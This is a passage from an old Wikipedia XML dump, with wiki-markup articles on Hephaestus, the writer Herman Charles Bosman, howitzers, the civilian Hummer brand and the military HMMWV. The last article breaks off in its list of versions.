An Athenian founding myth tells that Athena refused a union with Hephaestus, and that when he tried to force her she disappeared from the bed, and Hephaestus ejaculated on the earth, impregnating [[Gaia (mythology)|Gaia]], who subsequently gave birth to [[Erichthonius of Athens]]; then the surrogate mother gave the child to Athena to foster, guarded by a [[Serpent (symbolism)|serpent]]. [[Hyginus]] made an etymology, of strife between Athena and Hephaestus (''&quot;Eri-&quot;'') and the Earth-child (''&quot;chthonios&quot;''). Some readers may have the sense that an earlier, not-virginal Athene is disguised in a convolutated re-making of the myth-element. At any rate, there is a [[Temple of Hephaestus]] (Hephaesteum or the so-called &quot;Theseum&quot;), located at near the Athens agora, or marketplace. (''illustration, below left'').

Hephaestus also crafted much of the other magnficent equipage of the gods, and almost any finely-wrought metalwork imbued with powers that appears in Greek myth is said to have been forged by Hephaestus: [[Hermes]]'s [[wing]]ed [[helmet]] and [[sandal (footwear)|sandals]], the [[Aegis]] [[breastplate]], [[Aphrodite]]'s famed [[girdle]], [[Achilles]]'s [[armor]], [[Heracles]]'s [[bronze]] clappers, [[Helios]]'s [[chariot]], the shoulder of [[Pelops]], [[Eros (god)|Eros]]'s [[bow (weapon)|bow]] and [[arrow]]s and [[Hades]]'s helmet of invisibility. Hephaestus worked with the help of the [[chthonic]] [[Cyclopes]], his assistants in the forge. He also built [[automaton]]s of metal to work for him. He gave to blinded [[Orion (mythology)|Orion]] his apprentice [[Cedalion]] as a guide.
{{Greek myth (Olympian)}}
[[Prometheus]] stole the [[fire]] that he gave to man from Hephaestus' forge. Hephaestus also created the gift that the gods gave man, the woman [[Pandora]] and her famous [[Pandora's box|box]].

[[Image:Rubens - Vulcano forjando los rayos de Júpiter.jpg|thumb|right|155px|In [[Peter Paul Rubens|Rubens]]' gritty ''[[Vulcan_(mythology)|Vulcan]] [Hephaestus] forging the thunderbolts of Jove'', only the  title is mythic in an essay in realism illuminated by the firelight of the forge.]]

In ''Iliad'' i.590, Zeus threw Hephaestus from Olympus because he released his mother Hera who was suspended by a golden chain between earth and sky, after an argument she had with Zeus. Hephaestus fell for nine days and nights before landing on the [[island]] of [[Lemnos]] where he grew to be a master craftsman and was allowed back into Olympus when his ability and usefulness became known to the gods.  

Hephaestus was quite ugly; he was crippled and misshapen at birth: in the vase-paintings, his feet are sometimes back-to-front. In art, Hephaestus was shown  lame and bent over his anvil.  He walked with the aid of a stick. Hera, mortified to have brought forth such grotesque offspring, promptly threw him from [[Mount Olympus]]. He fell, as he tells it himself in the ''Iliad'' (xviii.395) many days and nights and landed in the Ocean where he was brought up by the [[Oceanid]]s [[Thetis]] (mother of Achilles) and [[Eurynome]]. (Hephaetus’s physical appearance indicates [[Arsenicosis]], low levels of arsenic poisoning result in lameness and skin cancers.  Arsenic was added to [[bronze]] to harden it and most smiths of the [[Bronze Age]] would have suffered from chronic workplace poisoning).

Hephaestus gained revenge against Hera for rejecting him by making her a magical golden throne which, when she sat on it, didn't allow her to leave it. The other gods begged Hephaestus to return to Olympus to let her go but he repeatedly refused. [[Dionysus]] got him drunk and took him back to Olympus on the back of a mule. Hephaestus released Hera after being given [[Aphrodite]], the goddess of love, as his wife.

'''''The Tale of Hephaestus and Aphrodite'''''

Hephaestus, the god of fire, is one of the foremost gods who reign along side Zeus, the king of the gods, on Mount Olympus. According to ancient Greek mythology, Aphrodite was the wife of Hephaestus. In many instances, Hephaestus is described as ugly and disfigured. Furthermore, he is usually depicted in paintings and drawings crippled and bent over his anvil. Consequently, it seems peculiar that such a unattractive being would be wedded to the goddess of sexual desire. In one version of the myth, Hephaestus, being the most unfaltering of the gods, was given Aphrodite’s hand in marriage by Zeus in order to prevent conflict over her between the other gods. Another rendition of the myth states that Aphrodite was given to Hephaestus after releasing Hera from a magic throne. Hephaestus was thrown from Mount Olympus by Hera for his loathsome features and Hephaestus planned his revenge by trapping her in his this magic throne. 
	

In either case, Hephaestus and Aphrodite had an arranged marriage and Aphrodite disliking the idea of being married to unsightly Hephaestus began an affair with [[Ares]], the god of war. Eventually, Hephaestus finds out about Aphrodite’s promiscuity from [[Helios]], the all-seeing Sun, and plans a trap for them during one of their trysts. While Aphrodite and Ares lay together in bed, Hephaestus ensnares them in an unbreakable, chain-link net and drags to Mount Olympus to show their shame in form of all the other gods and for retribution. However, the gods merely laughed at the sight of these naked lovers and simply let them go without punishment.

'''''Additional Information:'''''

The [[Thebes (Greece)|Thebans]] told that the union with Ares and Aphrodite produced [[Harmonia (Greek goddess)|Harmonia]], as lovely as a second Aphrodite. But of her union with Hephaestus, there was no issue, unless [[Virgil]] was serious when he said that [[Eros (mythology)|Eros]] was their child (''[[Aeneid]]'' i.664). But in [[Homer]]'s ''[[Illiad]]'' the consort of Hephaestus is a lesser Aphrodite, [[Aglaea|Aglaia]] &quot;the glorious,&quot; the youngest of the [[Graces]], and [[Hesiod]] agrees (''[[Theogony]]'' 945).  Hephaestus fathered several children with mortals and immortals alike. One of those children was the robber [[Periphetes]]. With [[Thalia]], Hephaestus was sometimes considered the father of the [[Palici]].

Hephaestus was somehow connected with the archaic, pre-Greek [[Phrygia]]n and [[Thrace|Thracian]] mystery cult of the [[Kabeiroi]], who were also called the ''Hephaistoi'', &quot;the Hephaestus-men,&quot; in Lemnos.

==See also==
*[[Vulcan_(mythology)|Vulcan]]

{{commons|Hephaestus}}

[[Category:Fire gods]]
[[Category:Greek gods]]
[[Category:Smithing gods]]

[[bg:Хефест]]
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[[zh:赫斐斯托斯]]</text>
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  <page>
    <title>Herman Charles Bosman</title>
    <id>14389</id>
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      <comment>clean up -- see [[Wikipedia:Only make links that are relevant to the context]]</comment>
      <text xml:space="preserve">'''Herman Charles Bosman''' ([[1905]] - [[October 14]] [[1951]]) was a [[South Africa|South African]] [[writer]] and [[journalist]] who became famous for capturing the rhythms of backveld [[Afrikaans language|Afrikaans]] speech even though he wrote in [[English language|English]]. He is widely regarded as the greatest short story writer to come out of South Africa. Many of his stories have a sting in the tail.

He was born at Kuilsrivier, near [[Cape Town]]. While still young, his family moved to [[Johannesburg]] where he went to school at [[Jeppe High School for Boys]] in [[Kensington, Gauteng|Kensington]]. He was a contributor to the school magazine. When he was 16, he started writing amusing short stories for the national Sunday newspaper (the ''Sunday Times''). He attended the [[University of the Witwatersrand]] submitting various pieces to student&amp;rsquo;s literary competitions.

Upon graduating, he accepted a [[teaching]] position in the [[Groot Marico]] district, in an Afrikaans language school. The area and the people inspired him and provided the background for his best stories; the ones about ''Oom Schalk Lourens'' and the ''Voorkamer'' sketches. (In Afrikaans, ''Oom'' is ''Uncle'' and a ''Voorkamer'' is literally the ''Front Room'').

During the school holidays in 1926, he returned to visit his family in Johannesburg. During an argument, he fired a rifle at his stepbrother and killed him.

He was sentenced to death and moved to [[Death row]] at the [[Pretoria]] Central Prison. He was reprieved and sentenced to ten years with hard labour. In 1930, he was released on [[parole]] after serving half his sentence. His experiences formed the basis for one of his best known books, ''Cold Stone Jug''.

He then started his own printing press company and was part of a literary set in Johannesburg, associating with [[poet]]s, journalists and writers.  Needing a break, he then toured overseas for nine years, spending most of his time in [[London]]. The short stories that he wrote during this period formed the basis for another of his best-known books, ''Mafeking Road''.

At the start of the [[Second World War]], he returned to South Africa and worked as a journalist. He found the time to translate the [[Rubaiyat of Omar Khayyam]] into Afrikaans.

He lamented the fact that Johannesburg never respected its heritage; writing in ''The Standard Theatre'' &quot;They will pull down the Standard Theatre like they have pulled down all the old buildings, theatres, gin-palaces, dosshouses, temples, shops, arcades, cafes and joints that were intimately associated with the mining-camp days of Johannesburg. Because I know Johannesburg. And I am satisfied that there is no other city in the world that is so anxious to shake off the memories of its early origins.&quot; 

He married Ella Manson, and the couple were renowned for their [[Bohemianism|bohemian]] lifestyle and parties. His parties ended well after midnight with much witty conversation. After a [[housewarming party]] he was taken ill with severe chest pains and was taken to [[Edenvale, Gauteng|Edenvale]] Hospital. On admission he was asked, &quot;Place of birth?&quot; He replied, &quot;Born Kuilsrivier - Died Edenvale Hospital.&quot; He was discharged and collapsed at home a few hours later. He died as he was being rushed to hospital. He is buried in Westpark Cemetery in Westdene, with a triangular headstone that reads &quot;Die Skrywer, The Writer, Herman Charles Bosman, b 3.2.1905, d 14.10.1951 .&quot;

After his death, the rights to his works were auctioned, and purchased by his last wife.  Upon her death, those rights were passed to her son, who retains those rights.

Only three of his books were published during his lifetime; ''Mafeking Road'' published by Dassie, and ''Jacaranda in the Night'' and ''Cold Stone Jug'' published by APB.

His biography was written by Valerie Rosenberg and was called ''Sunflower to the sun'' ISBN 079811228X Human &amp; Rousseau.

Because many of his stories were originally published in long-forgotten magazines and journals, there are a number of [[anthology|anthologies]] by different collators each containing a different selection. His original books have also been published many times by different publishers, although only in South Africa. Some of the [[ISBN]] numbers and publishers below may not be for the original edition.

==Books==
* Mafeking Road &amp; Other Stories (1947) ISBN 0798139021 Human &amp; Rousseau
* Rubaijat van Omar Khajjam (1948) Colin Reed-McDonald
* Cold Stone Jug (1949) ISBN 0798139811 Human &amp; Rousseau
* Veld-trails and pavements (1949) with Carel Bredell Afrikaanse Pers-Boekhandel
* Cask of Jerepigo (1957) Central News Agency 
* Unto dust (1963) edited by Lionel Abrahams ISBN 0798115017 Anthony Blond
* Bosman at his best: a choice of stories and sketches (1965) edited by Lionel Abrahams ISBN 0798102497 Human &amp; Rousseau
* Bosman's Johannesburg (1986) edited by Stephen Gray ISBN 0798120010 Human &amp; Rousseau
* Ramoutsa Road (1987) ISBN 0868521302 Ad. Donker
* A Bekkersdal marathon (1971) ISBN 0798100303 Human &amp; Rousseau
* The Earth is Waiting (1974) 
* Willemsdorp (1977) ISBN 0798139013 Human &amp; Rousseau
* Almost Forgotten Stories (1979) ISBN 0869781677 H. Timmins
* Selected Stories (1980) edited by Stephen Gray ISBN 0798110317 Human &amp; Rousseau
* The Collected Works of Herman Charles Bosman (1981) edited by Lionel Abrahams ISBN 0868500291 Jonathan Ball
* The Bosman I like (1981) edited by Patrick Mynhardt ISBN 0798111798 Human &amp; Rousseau
* Death Hath Eloquence (1981) ISBN 0869841890 Christelike Uitgewersmaatskappy
* Uncollected essays (1981) ISBN 0869781677 Timmins
* The Illustrated Bosman (1985) ISBN 0868501123 Jonathan Ball
* Makapan's cave and other stories (1987) edited by Stephen Gray ISBN 0140092625 Penguin Books
* A Bosman Treasury (1991) edited by Ian Lusted ISBN 0798128305 Human &amp; Rousseau
* Jurie Steyn's Post Office (1991) ISBN 0798129034 Human &amp; Rousseau
* Herman Charles Bosman : the prose juvenilia (1998) collected and introduced by M.C. Andersen ISBN 1868880494 University of South Africa
* Idle talk : voorkamer stories (1999) edited by Craig MacKenzie ISBN 079813982X Human &amp; Rousseau
* Old Transvaal Stories (2000) edited by Craig MacKenzie ISBN 0798140852 Human &amp; Rousseau
* The Rooinek and Other Boer War Stories (2000) edited by Craig MacKenzie ISBN 0798140313 Human &amp; Rousseau
* Jacaranda in the Night (2000) ISBN 0798140844 Human &amp; Rousseau
* Best of Bosman (2001) edited by Stephen Gray and Craig MacKenzie ISBN 0798142030 Human &amp; Rousseau
* Seed-Time and Harvest, and Other Stories (2001) edited by Craig MacKenzie ISBN 0798141867 Human &amp; Rousseau
* Verborge skatte : Herman Charles Bosman in/oor Afrikaans (2001) collected by Leon de Kock ISBN 0798141859 Human &amp; Rousseau

==Plays==
* Cold Stone Jug (1982) adapted by Barney Simon from the play by Stephen Gray ISBN 079811309X Human &amp; Rousseau

==External links==
*[http://www.marico.co.za/HCBosman/Index.htm The Herman Charles Bosman Literary Society]

[[Category:1905 births|Bosman, Herman Charles]]
[[Category:1951 deaths|Bosman, Herman Charles]]
[[Category:South African people|Bosman, Herman Charles]]
[[Category:South African writers|Bosman, Herman Charles]]

*[http://www.joburg.org.za/2004/jan/jan20_bosman.stm City of Johannesburg Bosman page]</text>
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  <page>
    <title>Hungarian</title>
    <id>14390</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/CrotchStench|CrotchStench]] ([[User talk:CrotchStench|talk]]) to last version by Sndr</comment>
      <text xml:space="preserve">'''Hungarians''' or '''[[Magyars]]''' are an [[ethnic group]] primarily associated with [[Hungary]]. 

'''Hungarian''' may refer to:
*[[Hungary]] or the [[Kingdom of Hungary]].
*The [[Magyar people|Magyar]] or [[Hungarian people]], an [[ethnic group]].
*The [[Szekler]] or [[Szekely]] people in [[Transylvania|Erdély|Ardeal]] an area awarded to [[Romania]] at the [[Treaty of Versailles]] at [[Trianon]] after [[WWI]].
*The [[Hungarian language|Magyar]] or [[Hungarian language]].
*[[Music of Hungary|Hungarian music]]
*[[Hungarian beer]]
*[[Hungarian notation]], a method of naming program variables.
*The ''Hungarian algorithm'' for the assignment problem, also known as [[Munkres' assignment algorithm]]
{{disambig}}

[[it:Ungherese]]
[[hu:Magyar]]
[[simple:Hungarian]]</text>
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  <page>
    <title>Howitzer</title>
    <id>14392</id>
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      <comment>better worded</comment>
      <text xml:space="preserve">[[Image:15in howitzer.jpg|thumb|right|250px|Loading a WW1 British 15 in (381 mm) howitzer]]
A '''howitzer''' or '''hauwitzer''' is a type of field [[artillery]]. The name derives from the [[Czech language|Czech]] word ''houfnice'', denoting a [[15th century]]  cannon used by [[Hussite]]s during the [[Hussite Wars]]. Howitzers are distinguished from other types of [[cannon]] artillery by their trajectory in that they tend to fire at high angles and deliver plunging fire. In addition to this the barrel of a howitzer is commonly below 30 calibers (the length of the [[Barrel (firearms)|barrel]] is less than 30 times as long as the diameter of the [[bore]]), whereas other cannon and field guns tend to fire at no more than 45° ''and'' have a caliber of 30 or over. Development of the gun-howitzer, a weapon that can fire at both high and low angles was continued after the [[World War II|Second World War]]. With much longer barrels than howitzers, barrel lengths of 39, 45 or longer are now common, they have replaced separate guns and howitzers on the battlefield.

Howitzers are still either towed, or now self-propelled where they mix the maneuverability and to some extent the protection of tanks with their heavy firepower. Small howitzers can be towed by a light vehicle or carried by [[helicopter]]. Most are towed by five-ton or larger trucks.
The &quot;pack&quot; howitzer (such as the [[25 Pounder Short Mark 1]]) has existed since before the [[World War I|First World War]]. It can be disassembled into several main components and carried by [[mule]] through very difficult terrain, although the gun size is still a limiting factor and smaller howitzers have generally been abandoned in favor of larger guns with greater capabilities.  

Modern self-propelled howitzers such as the [[South Africa]]n [[G6 howitzer|G6]] fire 105 to 155 mm  diameter shells up to about 25-30 km at a maximum rate of about 10 per minute. 

[[Image:Howitzer_firing.jpg|thumb|left|250px|155 mm [[M198 howitzer]]]]

The Dutch, German, Italian and Greek armies have been using or will be using [[PzH 2000 howitzer]] (155 mm, self-propelled) shortly.

The [[Big Bertha]] was a large, 42 [[centimetre|centimeter]] howitzer used in the German push of 1914.  The gun was based on a similar 42 centimeter gun manufactured for a short while by [[Krupp]] for the German military.

[[Image:DSCN5244 fortlaramie12poundermtnhowitzer e.jpg|250px|right|thumb|[[19th century]] 12 pounder (5 kg) mountain howitzer displayed by the [[National Park Service]] at [[Fort Laramie]] in [[Wyoming]], [[USA]]]]

That similar, older 42 centimeter gun was based almost completely on a gun designed by [[Louis Gathmann]] in the late [[1800s]]. Louis was known as the inventor of the &quot;Big Berthas&quot; up through his death in June of 1917.

In November [[1990]] [[United Kingdom|British]] customs officers seized parts of a 1000 mm howitzer destined for the [[Iraq]] [[Project Babylon]] &quot;supergun&quot;, which, had it been built, would have been the largest gun ever constructed.

== See also ==
[[Image:Canon 155mm TRF1 fh000024.jpg|thumb|French TRF1 155 mm howitzer]]
Examples of howitzers and gun-howitzers

* [[SSPH1]] Modern 155 mm self propelled gun howitzer
* [[QF 25 pdr|25 pounder]] - WW2 gun-howitzer
* [[25 Pounder Short Mark 1]] - WW2 pack howitzer
* [[M107 (projectile)|M107 ]] - typical modern howitzer shell
* [[L118 howitzer]] Modern 105 mm, towed gun howitzer (also L119 variant)
* [[M198 howitzer]] Modern 155 mm, towed gun howitzer
* [[M109 howitzer]] Modern 155 mm self-propelled howitzer
* [[M110 howitzer]] Post WW2 8 inch self-propelled howitzer
For more examples, see [[List of artillery]] 

[[Category:Artillery]]
[[de:Haubitze]]
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[[ja:榴弾砲]]
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[[ru:Гаубица]]
[[sl:Havbica]]
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[[vi:Lựu pháo]]
[[zh:榴弹炮]]</text>
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  <page>
    <title>HMMWV</title>
    <id>14393</id>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[High Mobility Multipurpose Wheeled Vehicle]]
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    <title>High Mobility Multi-Purpose Wheeled Vehicle</title>
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      <text xml:space="preserve">#REDIRECT [[High Mobility Multipurpose Wheeled Vehicle]]
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  <page>
    <title>Hummer</title>
    <id>14395</id>
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      <id>42101223</id>
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        <ip>24.36.166.74</ip>
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      <text xml:space="preserve">{|align=right
| [[Image:Hummer_logo.png|center|200px|Hummer logo]]
|-
| [[Image:2006 Hummer H3 H1 and H2.jpg|right|thumb|400px|2006 Hummer lineup: [[Hummer H3|H3]], [[Hummer H1|H1]], and [[Hummer H2|H2]] (L-R)]]
|}
:''This article is about the ''Hummer'' vehicle. For the form of oral sex, see [[Oral sex#Variants]], or for the common variant of bird, see [[Hummingbird]].''
'''Hummer''' is a [[marque]] of vehicles sold by [[General Motors]]. For the military vehicles of which the trademark is based see [[HMMWV]].

==History==

Hummers were traditionally built by [[AM General]] Corporation, formerly the heavy industries division of [[American Motors]], in its [[Mishawaka, Indiana]] assembly plant.  AM General had planned to sell a civilian version of the Hummer as far back as the late [[1980s]].  In [[1990]], two matching white Hummers were driven from [[London]], [[United Kingdom|UK]] to [[Beijing]], [[People's Republic of China]] over the rough roads of the central [[Soviet Union]].  The Hummers made the drive with ease, and highlights of this journey were broadcast on [[ESPN]] in the [[United States]].  The publicity would pale in comparison to the attention that the [[HMMWV]] received for its service in [[Operation: Desert Storm]] the following year.  

In [[1991]], [[AM General]] began selling a civilian version of the M998 [[High Mobility Multipurpose Wheeled Vehicle]] (HMMWV or Hum-Vee) vehicle to the public under the brand name '''Hummer'''. In [[1999]], AM General sold the brand name to General Motors but continued to manufacture the vehicles, which GM then re-sold.  In the next few years, GM introduced two new homegrown models, the [[Hummer H2|H2]] and [[Hummer H3|H3]], and renamed the original vehicle to H1.  AM General continues to build the H1 and is contracted by GM to produce the H2.  The H3 is built in Shreveport, LA.

As of 2004, Hummer has gone international with selected importers and distributors in Europe and other markets. It has only been sold in small volumes, but some celebrities and business people have bought Hummers to satisfy their curiosity. Markets such as Australia have taken interest to Hummers with importers converting the latest H3 to right hand drive despite GM not officially selling the brand in Australia.

From 2006, GM will be building/assembling the Hummer H3 at the Port Elizabeth plant in South Africa to make Hummers internationally available. Hummers at the Port Elizabeth plant will be built for local South African consumption and exported to Australia, the United Kingdom and Japan.

==Evaluation==

The first two Hummer models are large, heavy vehicles with large engines and complex drivelines. The third one, the [[Hummer H3|H3]], is smaller and geared more towards people who want an everyday SUV.  They also feature aggressive styling and advertising, setting them apart from competing models. This has made them a target of criticism, as many people view Hummers as ill-suited for use as a passenger vehicle on public streets. As fuel prices have risen, detractors have also singled out the Hummer as an egregious waster of resources—a charge based largely on the Hummer's fuel consumption and size.

Since both the H1 and H2 can weigh over 8,500&amp;nbsp;lb (GVWR), the United States fuel economy regulations do not apply to them.  GM does not disclose their expected fuel economy ratings, and the company is not required to display a [[Monroney sticker]] on the vehicles.  However, expected [[Miles_per_gallon|mpg]] ratings can be derived from their fuel capacity and range ratings.  These metrics show that the [[Diesel]] H1 is expected to reach 16&amp;nbsp;[[Miles_per_gallon|mpg]] (U.S.), while the H2 should get 9.6&amp;nbsp;mpg.  ''[[Car and Driver]]'' magazine observed 12&amp;nbsp;mpg with their H2 SUV.  These ratings are similar to those of other heavy trucks and SUVs.

==Models==
&lt;!--[[Image:Hummer20Limo206.jpg|thumb|right|Hummer Limo]]--&gt;
There are three current and possibly two future models in the Hummer line:
* [[Hummer H1]]
* [[Hummer H2]]
** Hummer H2 [[Sports Utility Truck|SUT]] 
* [[Hummer H3]]
** Hummer H3T
* [[Hummer H4]]
* Hummer Hx

==Licensing==
General Motors has been very active in licensing the Hummer brand. Various companies have licensed the Hummer trademarks for use on [[Eau de Cologne|colognes]], [[flashlight]]s, [[bicycle]]s [http://www.hummerbikes.com], [[laptop]]s [http://www.hummerlaptops.com], [[apparel]], [[jewelry]], [[CD player]]s and other items. [http://www.hummerstuff.com]

==Hummers in popular culture== 
*[[Governor of California|California governor]] [[Arnold Schwarzenegger]] was the first private citizen to own a Hummer and continues to own several.

==External links==

''' Official Site '''
* [http://www.amgeneral.com AM General official site]
* [http://www.hummer.com GM's HUMMER homepage]


''' Enthusiast Forums and Sites '''
* [http://www.humvee.net A HUMMER enthusiast site]
* [http://www.hummernetwork.com The HUMMER Network] - HUMMER enthusiast site, Parent site of above
* [http://www.amghummer.com A Hummer Technical Info site]
* [http://www.hummerforums.com Hummer Forums]
* [http://www.i3ds.com/hummer/index2.html Hummer License Plates, Jokes and much more]


''' Criticism Sites '''
* [http://www.blogsnotbombs.com/leftwingnut/hummerhome.htm A Hummer criticism site] &lt;!-- please do not remove negative/criticism links without discussion --&gt;
* [http://greenhummerproject.org/ Green Hummer Project] &lt;!-- please do not remove negative/criticism links without discussion --&gt;

{{General Motors brands}}

[[Category:Automobile manufacturers]]
[[Category:Hummer]]
[[Category:General Motors]]
[[Category:Off-road vehicles]]
[[Category: Indiana]]
[[Category:Prestige vehicles]]

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[[ja:&amp;#12495;&amp;#12510;&amp;#12540; (&amp;#33258;&amp;#21205;&amp;#36554;)]]</text>
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  <page>
    <title>High Mobility Multipurpose Wheeled Vehicle</title>
    <id>14396</id>
    <revision>
      <id>41475825</id>
      <timestamp>2006-02-27T16:37:45Z</timestamp>
      <contributor>
        <username>BohicaTwentyTwo</username>
        <id>572272</id>
      </contributor>
      <comment>/* Usage in Iraq and political implications */ M114 was in prduction before December 2004</comment>
      <text xml:space="preserve">&lt;div style=&quot;float: right; margin-top: 0px; background-color: #white; border: 0px solid #black; padding-left: 40px; width:210px; clear: both;&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;200px&quot;&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; colspan=2&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; width=&quot;200px&quot;&gt;[[Image:Img hmmwv.jpg|HMMWV fording a stream]]  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt;'''General Characteristics''' (M998)&lt;/tr&gt;
&lt;/tr&gt; 
&lt;tr&gt;&lt;td&gt;Manufacturer:&lt;/td&gt;&lt;td&gt;[[AM General]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Length:&lt;/td&gt;&lt;td&gt;4.57–5.13&amp;nbsp;m &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Width:&lt;/td&gt;&lt;td&gt;2.16&amp;nbsp;m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Height:&lt;/td&gt;&lt;td&gt;1.75–2.59&amp;nbsp;m&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ground clearance:&lt;/td&gt;&lt;td&gt;0.4&amp;nbsp;m (axle), 0.6&amp;nbsp;m (chassis)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mass:&lt;/td&gt;&lt;td&gt;1,587–2,061&amp;nbsp;kg&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Speed:&lt;/td&gt;&lt;td&gt;88.5&amp;nbsp;km/h&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Range:&lt;/td&gt;&lt;td&gt;440–540&amp;nbsp;km&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Crew:&lt;/td&gt;&lt;td&gt;2–4&amp;nbsp;men&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
:''This article refers to the Military HMMWV, not the civilian [[Hummer]] sold by [[General Motors]]''

The '''M998 High Mobility Multipurpose Wheeled Vehicle''' ('''HMMWV''' or '''Hum-Vee''') is a highly durable [[military]] motor [[vehicle]]. It has largely supplanted the role formerly served by the [[jeep]] and other light trucks with the [[United States]] military, and is also used by a number of other countries and organizations.

== Features ==

There are at least 17 variants of the HMMWV in service with the [[United States armed forces]].  HMMWV serve as cargo/troop carriers, automatic weapons platforms, [[ambulance]]s (four litter patients or eight ambulatory patients), M220 [[BGM-71 TOW|TOW missile]] carriers, [[M119 howitzer]] prime movers, [[M-1097 Avenger]] [[surface-to-air missile]] platforms, MRQ-12 direct [[air support]] vehicles, S250 shelter carriers among many others. It is capable of [[Wiktionary:Ford|fording]] 0.762&amp;nbsp;m normally, or 1.5&amp;nbsp;m with deep-water fording kit.

Optional equipment includes a winch (maximum load capacity 6000&amp;nbsp;lb. (2700&amp;nbsp;kg)), and supplemental armor.  The M1025 and M1043/M1044 armament carriers provide mounting and firing capabilities for the [[MK19 grenade launcher]], the [[M2 machine gun]], the [[M240G]] machine gun and [[M249]] SAW. The newly introduced M1114 &quot;up-armored&quot; HMMWV also features a similar weapons mount.

== History ==

[[image:Hmmwv-036.jpg|thumb|A HMMWV firing a [[BGM-71_TOW|TOW]] missile]]

In the [[1970s]], the [[United States Army]] concluded that the militarized civilian [[truck]]s in use no longer satisfied their requirements.  In [[1979]], the Army drafted specifications for a High Mobility Multipurpose Wheeled Vehicle, or HMMWV. In July of that year, [[AM General]] began preliminary design work, and less than a year later, the first prototype, the M998, was in testing. 

In June [[1981]], the Army awarded AM General a contract for development of several more prototype vehicles to be delivered to the U.S. government for another series of tests, and the company was later awarded the initial production contract for 55,000 HMMWVs to be delivered in [[1985]].  HMMWVs first saw combat in the [[Gulf war|First Gulf War]].

They have become the backbone of U.S. forces around the world. Over 10,000 were used during [[Operation Iraqi Freedom]] by U.S. forces as well as some other countries in during [[2003 invasion of Iraq]].

== Usage in Iraq and political implications ==
[[Image:Destroyed humvee.jpg|thumb|A destroyed Humvee following an [[Rocket_propelled_grenade|RPG]] attack]]
[[Image:Marine humvee with bolt-on armor x2.jpg|thumb|Humvee with bolt-on armor kit]]

The HMMWV has proven very vulnerable to light infantry weapons as far back as the Somalia intervention; in its defense, it was never designed to offer such protection. With the rise of [[asymmetric warfare]] and [[low-intensity conflicts]], the HMMWV has found itself thrust into urban combat roles it was not originally intended for. Although the large variety of HMMWV types is a testament to the vehicle’s adaptability to changing mission conditions, it was never designed to be an [[armoured personnel carrier|armored personnel carrier]] (APC).

As it is not an armored vehicle, HMMWVs are very vulnerable to [[rocket propelled grenade]]s (or RPGs, which are common among the Iraqi resistance) and offer the troops within little protection from small arms fire. Although there are several [[Humvee armor kit|armor kits]] available for the vehicle which afford it greater protection from small-arms fire, these were not provided in great numbers to American forces in Iraq prior to the invasion.  As a result of this, American soldiers and Marines often improvise extra armor layers with scrap materials (also known as &quot;[[hillbilly armor]]&quot;) to improve the safety of the HMMWV.  While “hardening” or “up-armoring” their vehicles with sandbags, metal, and plywood does make the vehicles arguably safer, it also slows them down.  It has also been argued that hardening simply creates more [[shrapnel]] when attacked with an RPG or [[improvised explosive device]]. This extra hardening further hampered the ability of the M998 and M1025 due to the addition of excess weight which overloaded the suspension and drivetrain components of these HMMWVs. Performance issues due to the high center of gravity and extra weight of up-armoring kits increase the risk of sway and rollover. Unlike similar-size civilian cargo and tow trucks, which typically have dual rear wheels to reduce sway, the HMMWV has single rear wheels. The independent rear suspension coupled with the body design may preclude &quot;dually&quot; fitment which is the standard for solid-axle trucks of that weight range.

In response to the perceived vulnerability of HMMWVs operating in Iraq, the U.S. Department of Defense contracted [[AM General]] to make the M1114 Uparmored HMMWV. The M1114 has been in limited production since [[1996]] and had seen limited use in the [[Balkans]] before deployment to the [[Middle East]]. This design has a larger, more powerful engine with a [[turbocharger]], [[air conditioning]] and a strengthened [[suspension]] and boasts a fully armored passenger area protected by hardened steel and bullet-proof glass. With the increase in direct attacks and guerilla warfare in Iraq [[AM General]] has diverted the majority of its manufacturing power to producing these vehicles.

In December [[2004]], Secretary of Defense [[Donald Rumsfeld]] came under criticism from U.S. soldiers and their families for not providing better equipped HMMWV [http://www.msnbc.msn.com/id/6694474/].  Rumsfeld pointed out that, prior to the war, armor kits were produced only in small numbers per year.  As the role of American forces in Iraq changed from fighting the Iraqi Army to suppressing the [[guerrilla warfare|guerrilla]] insurgency, armor kits were being manufactured as fast as additional production facilities could be brought online. Armor aggravates the severe inherent performance limitations of 
a light truck with independent suspension, but it does offer improved protection. Other countries experienced in urban war such as Russia and Israel rely on tracked armored personnel carriers, but the wheeled HMMWV fits current anti-track sentiment among Army senior leadership as exemplified by the Stryker and other wheeled systems.

==Replacement==

The US government is seeking a replacement for the AM General truck, and the U.S. Army's Tank and Automotive Command is currently refereeing a prototype competition.  [[Navistar International]] and [[Lockheed Martin]] are participating, while AM General has not been selected.  The Navistar entry is based on their [[International CXT]] line, and this truck has already been prototyped to replace the HMMWV for non-military use by the U.S. [[Department of Homeland Security]], [[Department of Defense]], and [[Border Patrol]].

==Versions==
[[Image:Hmmwv model.jpg|thumb|Scale model of HMMWV [[M1025]] armored armament carrier, European color scheme]]
[[Image:Img star-t.jpg|thumb|Humvee with a communications dish]]

A partial listing of U.S. versions:

*M707 HMMWV 
*M966 HMMWV TOW Armored 
*M996 Mini-Ambulance, Armored 
*M997 Maxi-Ambulance, Armored 
*M998 Cargo/Troop 
*M998 HMMWV Avenger 
